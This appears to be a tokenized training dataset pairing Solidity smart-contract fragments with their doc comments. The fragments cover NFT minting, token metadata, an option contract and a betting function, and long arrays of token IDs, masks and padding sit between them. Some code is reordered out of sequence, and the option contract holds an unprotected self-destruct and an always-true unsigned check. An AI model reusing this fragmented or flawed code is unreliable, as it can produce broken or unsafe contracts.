63, 5548, 548, 67, 8009, 2469, 31, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/security/Pausable.sol'; import '@openzeppelin/contracts/utils/math/SafeMath.sol'; /// @title NFT Contract /// @dev This contract manages everything related to NFT contract CardItem is ERC721URIStorage, Ownable, Pausable { using Counters for Counters.Counter; using SafeMath for uint256; Counters.Counter public _tokenIds; address private marketplace; struct TokenInfo { string tokenURI; uint256 price; bool isForSale; } mapping(string => bool) public ipfsHashes; mapping(uint256 => TokenInfo) public tokens; /** * @dev Emitted when NFT is minted. */ event ItemCreated( address owner, uint256 tokenId ); /** * @dev Throws if called by any account other than the marketplace. */ modifier onlyMarketplace() { require(msg.sender == marketplace, "Caller is not marketplace"); _; } /** * @dev Initializes the contract by setting a `name`, a `symbol` and the `marketplace` address that will manage the token collection. * @param _name - token collection name * @param _symbol - token collection symbol * @param _marketplace - token collection address */ constructor (string memory _name, string memory _symbol, address _marketplace) ERC721(_name, _symbol) { require(_marketplace != address(0)); marketplace = _marketplace; } /** * @dev Set a NFT price * @param _assetId - NFT id * @param _amount - NFT price */ function setPrice(uint256 _assetId, uint256 _amount) external whenNotPaused onlyMarketplace { require(_amount >= 0, "Price must be higher or equal 0"); TokenInfo storage token = tokens[_assetId]; token.price = _amount; } /** * @dev Update status NFT on sale * @param _assetId - NFT id * @param _status - NFT status (isForSale) */ function updateOnSale(uint256 _assetId, bool _status) external whenNotPaused onlyMarketplace { require(tokens[_assetId].isForSale == !_status, "Already set up!"); TokenInfo storage token = tokens[_assetId]; token.isForSale = _status; } /** * @dev Mint a new NFT * @param _tokenURI - URL include ipfs hash * @param _priceBase - return nft id * @return assetId - NFT id */ function mintNFT(string memory _tokenURI, uint256 _priceBase) public whenNotPaused onlyOwner returns (uint256 assetId) { require(ipfsHashes[_tokenURI] != true, "Already registered"); _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(owner(), newItemId); _setTokenURI(newItemId, _tokenURI); ipfsHashes[_tokenURI] = true; tokens[newItemId] = TokenInfo( _tokenURI, _priceBase, true ); emit ItemCreated(marketplace, newItemId); return newItemId; } /** * @dev Get a NFT price * @param _assetId - NFT id * @return price - return nft price */ function getPrice(uint256 _assetId) public view returns(uint256 price) { return tokens[_assetId].price; } /** * @dev Get a status NFT on sale * @param _assetId - NFT id * @return isForSale - true if nft is for sale or false if nft is out of sale */ function getOnSale(uint256 _assetId) public view returns(bool isForSale) { return tokens[_assetId].isForSale; } }
@title NFT Contract @dev This contract manages everything related to NFT
contract CardItem is ERC721URIStorage, Ownable, Pausable { using Counters for Counters.Counter; using SafeMath for uint256; Counters.Counter public _tokenIds; address private marketplace; pragma solidity 0.8.3; struct TokenInfo { string tokenURI; uint256 price; bool isForSale; } mapping(string => bool) public ipfsHashes; mapping(uint256 => TokenInfo) public tokens; address owner, uint256 tokenId ); event ItemCreated( modifier onlyMarketplace() { require(msg.sender == marketplace, "Caller is not marketplace"); _; } constructor (string memory _name, string memory _symbol, address _marketplace) ERC721(_name, _symbol) { require(_marketplace != address(0)); marketplace = _marketplace; } function setPrice(uint256 _assetId, uint256 _amount) external whenNotPaused onlyMarketplace { require(_amount >= 0, "Price must be higher or equal 0"); TokenInfo storage token = tokens[_assetId]; token.price = _amount; } function updateOnSale(uint256 _assetId, bool _status) external whenNotPaused onlyMarketplace { require(tokens[_assetId].isForSale == !_status, "Already set up!"); TokenInfo storage token = tokens[_assetId]; token.isForSale = _status; } function mintNFT(string memory _tokenURI, uint256 _priceBase) public whenNotPaused onlyOwner returns (uint256 assetId) { require(ipfsHashes[_tokenURI] != true, "Already registered"); _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(owner(), newItemId); _setTokenURI(newItemId, _tokenURI); ipfsHashes[_tokenURI] = true; tokens[newItemId] = TokenInfo( _tokenURI, _priceBase, true ); emit ItemCreated(marketplace, newItemId); return newItemId; } function getPrice(uint256 _assetId) public view returns(uint256 price) { return tokens[_assetId].price; } function getOnSale(uint256 _assetId) public view returns(bool isForSale) { return tokens[_assetId].isForSale; } }
12,952,787
[ 1, 50, 4464, 13456, 225, 1220, 6835, 20754, 281, 7756, 3746, 358, 423, 4464, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 14338, 1180, 353, 4232, 39, 27, 5340, 3098, 3245, 16, 14223, 6914, 16, 21800, 16665, 288, 203, 565, 1450, 9354, 87, 364, 9354, 87, 18, 4789, 31, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 377, 203, 565, 9354, 87, 18, 4789, 1071, 389, 2316, 2673, 31, 203, 565, 1758, 3238, 29917, 31, 203, 377, 203, 683, 9454, 18035, 560, 374, 18, 28, 18, 23, 31, 203, 565, 1958, 3155, 966, 288, 203, 3639, 533, 1147, 3098, 31, 203, 3639, 2254, 5034, 6205, 31, 203, 3639, 1426, 353, 1290, 30746, 31, 203, 565, 289, 203, 377, 203, 565, 2874, 12, 1080, 516, 1426, 13, 1071, 2359, 2556, 14455, 31, 203, 565, 2874, 12, 11890, 5034, 516, 3155, 966, 13, 1071, 2430, 31, 203, 377, 203, 3639, 1758, 3410, 16, 203, 3639, 2254, 5034, 1147, 548, 203, 565, 11272, 7010, 1377, 203, 565, 871, 4342, 6119, 12, 203, 565, 9606, 1338, 3882, 24577, 1435, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 29917, 16, 315, 11095, 353, 486, 29917, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 1377, 203, 565, 3885, 261, 1080, 3778, 389, 529, 16, 533, 3778, 389, 7175, 16, 1758, 389, 3355, 24577, 13, 4232, 39, 27, 5340, 24899, 529, 16, 389, 7175, 13, 288, 203, 3639, 2583, 24899, 3355, 24577, 480, 1758, 12, 20, 10019, 203, 3639, 29917, 273, 389, 3355, 24577, 31, 203, 565, 289, 203, 203, 565, 445, 444, 5147, 12, 11890, 5034, 389, 9406, 548, 16, 2254, 5034, 389, 8949, 13, 3903, 1347, 2 ]
./full_match/80001/0x4fd6f14749b6B757a436CD4f7D31886BEef356b6/sources/contracts/player-management/PlayerManagement.sol
* @notice Returns the PDT and PXP costs of ranking up. @param rank Current player rank. @return pdtCost_ Final PDT cost including 1e18. @return pxpCost_ Final PXP cost including 1e18./
function getRankUpCosts(uint256 rank) public view returns (uint256 pdtCost_, uint256 pxpCost_) { uint256 pdtCost = (1e18 * _usdCostRankUp) / getPDTPrice(); uint256 pxpCost = 2 ** (rank + 1) * _pxpBaseCostRankUp; return (pdtCost, pxpCost); }
853,322
[ 1, 1356, 326, 453, 9081, 471, 453, 60, 52, 22793, 434, 23087, 731, 18, 565, 6171, 225, 6562, 7291, 6171, 18, 327, 225, 4863, 88, 8018, 67, 225, 16269, 453, 9081, 6991, 6508, 404, 73, 2643, 18, 327, 225, 10318, 84, 8018, 67, 225, 16269, 453, 60, 52, 6991, 6508, 404, 73, 2643, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4170, 2304, 1211, 21420, 12, 11890, 5034, 6171, 13, 1071, 1476, 1135, 261, 11890, 5034, 4863, 88, 8018, 67, 16, 2254, 5034, 10318, 84, 8018, 67, 13, 288, 203, 3639, 2254, 5034, 4863, 88, 8018, 273, 261, 21, 73, 2643, 380, 389, 407, 72, 8018, 12925, 1211, 13, 342, 1689, 9081, 5147, 5621, 203, 3639, 2254, 5034, 10318, 84, 8018, 273, 576, 2826, 261, 11500, 397, 404, 13, 380, 389, 4430, 84, 2171, 8018, 12925, 1211, 31, 203, 203, 3639, 327, 261, 84, 7510, 8018, 16, 10318, 84, 8018, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x6602d72a77235bd0666c141989831ad435b1552a/sources/contracts/token.sol
Getting total Fee Percentages And Caclculating Portinos for each tax type
Tax memory bt = buyTaxes;
2,774,211
[ 1, 19213, 2078, 30174, 21198, 1023, 7835, 385, 10150, 1934, 1776, 6008, 267, 538, 364, 1517, 5320, 618, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 18240, 3778, 10921, 273, 30143, 7731, 281, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0x3d3733C8D33eaeA6153EF418f7d7425E9ECAA662/sources/PAIDToken.sol
* @dev Optional functions from the BEPS20 standard./
contract BEPS20Detailed is IBEPS20 { string private _name; string private _symbol; uint8 private _decimals; } constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } }
11,332,329
[ 1, 6542, 4186, 628, 326, 9722, 5857, 3462, 4529, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 9722, 5857, 3462, 40, 6372, 353, 467, 5948, 5857, 3462, 288, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 203, 97, 203, 203, 565, 3885, 261, 1080, 3778, 508, 16, 533, 3778, 3273, 16, 2254, 28, 15105, 13, 1071, 288, 203, 3639, 389, 529, 273, 508, 31, 203, 3639, 389, 7175, 273, 3273, 31, 203, 3639, 389, 31734, 273, 15105, 31, 203, 565, 289, 203, 203, 565, 445, 508, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 1476, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 389, 31734, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * MIT License * * Copyright (c) 2019 eToroX Labs * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity ^0.4.9; import "./Tmc4.sol"; import "./DataFeed0.sol"; contract Eur_Option { uint deployTime; Tmc4 tmc; DataFeed0 dataFeed; bool contractExecuted; // default value is false address to_address; address from_address; function Eur_Option(address tmc_address, address datafeed_address, address to_address_, address from_address_) { deployTime = block.timestamp; tmc = Tmc4(tmc_address); // Write in the correct address for the TMC dataFeed = DataFeed0(datafeed_address); // Write in the correct address for the DF to_address = to_address_; from_address = from_address_; contractExecuted = false; } function execute() { if (block.timestamp - deployTime >= 180) // Three minutes { uint obs_value = dataFeed.get("0x00"); uint obs_price = (obs_value - 10 >= 0) ? obs_value - 10 : 0; // Strike price is 10 uint final_price = (obs_price <= 2000) ? obs_price : 2000; // 2000 is maxAmount from scale tmc.transferFrom(from_address, to_address, final_price); contractExecuted = true; remove_contract(); } } function remove_contract() { if (contractExecuted == true) {suicide(msg.sender);} } }
Write in the correct address for the TMC
tmc = Tmc4(tmc_address);
5,346,073
[ 1, 3067, 316, 326, 3434, 1758, 364, 326, 399, 20022, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 6118, 71, 273, 399, 13952, 24, 12, 88, 13952, 67, 2867, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43113/0x08dddc5450D3d75B6B4AEa084A44Dd208b086C65/sources/contracts/Betting.sol
@param _matchNumber is 0 to 31, representing the matche @param _team0or1 is the initial favorite (0) and underdog (1) @param _betAmt is the amount bet in 10s of finney, 0.0001 ether
function bet( uint8 _matchNumber, uint8 _team0or1, uint32 _betAmt ) external { require(_betAmt <= userBalance[msg.sender], "NSF "); (uint32[7] memory betDatav) = decodeNumber(betData[_matchNumber]); require(betDatav[4] > block.timestamp, "game started or not playing"); int32 betPayoff = int32(_betAmt) * int32(betDatav[5 + _team0or1]) / 1000; int32 netPosTeamBet = int32(betDatav[2 + _team0or1]) - int32(betDatav[1 - _team0or1]); require(int32(betPayoff + netPosTeamBet) < int32(margin[0]/margin[5]), "betsize over limit"); int32 netPosTeamOpp = int32(betDatav[3 - _team0or1]) - int32(betDatav[_team0or1]); int32 marginChange = maxZero(int32(betPayoff) + netPosTeamBet, -int32(_betAmt) + netPosTeamOpp) - maxZero(netPosTeamBet, netPosTeamOpp); require(marginChange < int32(margin[0] - margin[1]), "betsize over unpledged capital" ); userBalance[msg.sender] -= _betAmt; bytes32 subkID = keccak256(abi.encodePacked(margin[6], block.timestamp)); Subcontract memory order; order.bettor = msg.sender; order.betAmount = _betAmt; order.payoff = uint32(betPayoff); order.pick = _team0or1; order.matchNum = _matchNumber; order.epoch = uint8(margin[3]); subcontracts[subkID] = order; margin[2] += _betAmt; margin[1] = uint32(addSafe(margin[1], marginChange)); betDatav[_team0or1] += _betAmt; betDatav[2 + _team0or1] += uint32(betPayoff); uint256 encoded; encoded |= uint256(betDatav[0]) << 224; encoded |= uint256(betDatav[1]) << 192; encoded |= uint256(betDatav[2]) << 160; encoded |= uint256(betDatav[3]) << 128; encoded |= uint256(betDatav[4]) << 64; encoded |= uint256(betDatav[5]) << 32; encoded |= uint256(betDatav[6]); betData[_matchNumber] = encoded; margin[6]++; emit BetRecord( msg.sender, uint8(margin[3]), _matchNumber, _team0or1, false, _betAmt, uint32(betPayoff), subkID ); }
7,171,082
[ 1, 67, 1916, 1854, 353, 374, 358, 8231, 16, 5123, 326, 845, 73, 225, 389, 10035, 20, 280, 21, 353, 326, 2172, 30705, 261, 20, 13, 471, 3613, 20330, 261, 21, 13, 225, 389, 70, 278, 31787, 353, 326, 3844, 2701, 316, 1728, 87, 434, 574, 82, 402, 16, 374, 18, 13304, 225, 2437, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2701, 12, 203, 3639, 2254, 28, 389, 1916, 1854, 16, 203, 3639, 2254, 28, 389, 10035, 20, 280, 21, 16, 203, 3639, 2254, 1578, 389, 70, 278, 31787, 203, 565, 262, 3903, 288, 203, 3639, 2583, 24899, 70, 278, 31787, 1648, 729, 13937, 63, 3576, 18, 15330, 6487, 315, 3156, 42, 315, 1769, 203, 3639, 261, 11890, 1578, 63, 27, 65, 3778, 2701, 751, 90, 13, 273, 2495, 1854, 12, 70, 278, 751, 63, 67, 1916, 1854, 19226, 203, 3639, 2583, 12, 70, 278, 751, 90, 63, 24, 65, 405, 1203, 18, 5508, 16, 315, 13957, 5746, 578, 486, 23982, 8863, 203, 3639, 509, 1578, 2701, 9148, 3674, 273, 509, 1578, 24899, 70, 278, 31787, 13, 380, 509, 1578, 12, 70, 278, 751, 90, 63, 25, 397, 389, 10035, 20, 280, 21, 5717, 342, 4336, 31, 203, 3639, 509, 1578, 2901, 1616, 8689, 38, 278, 273, 509, 1578, 12, 70, 278, 751, 90, 63, 22, 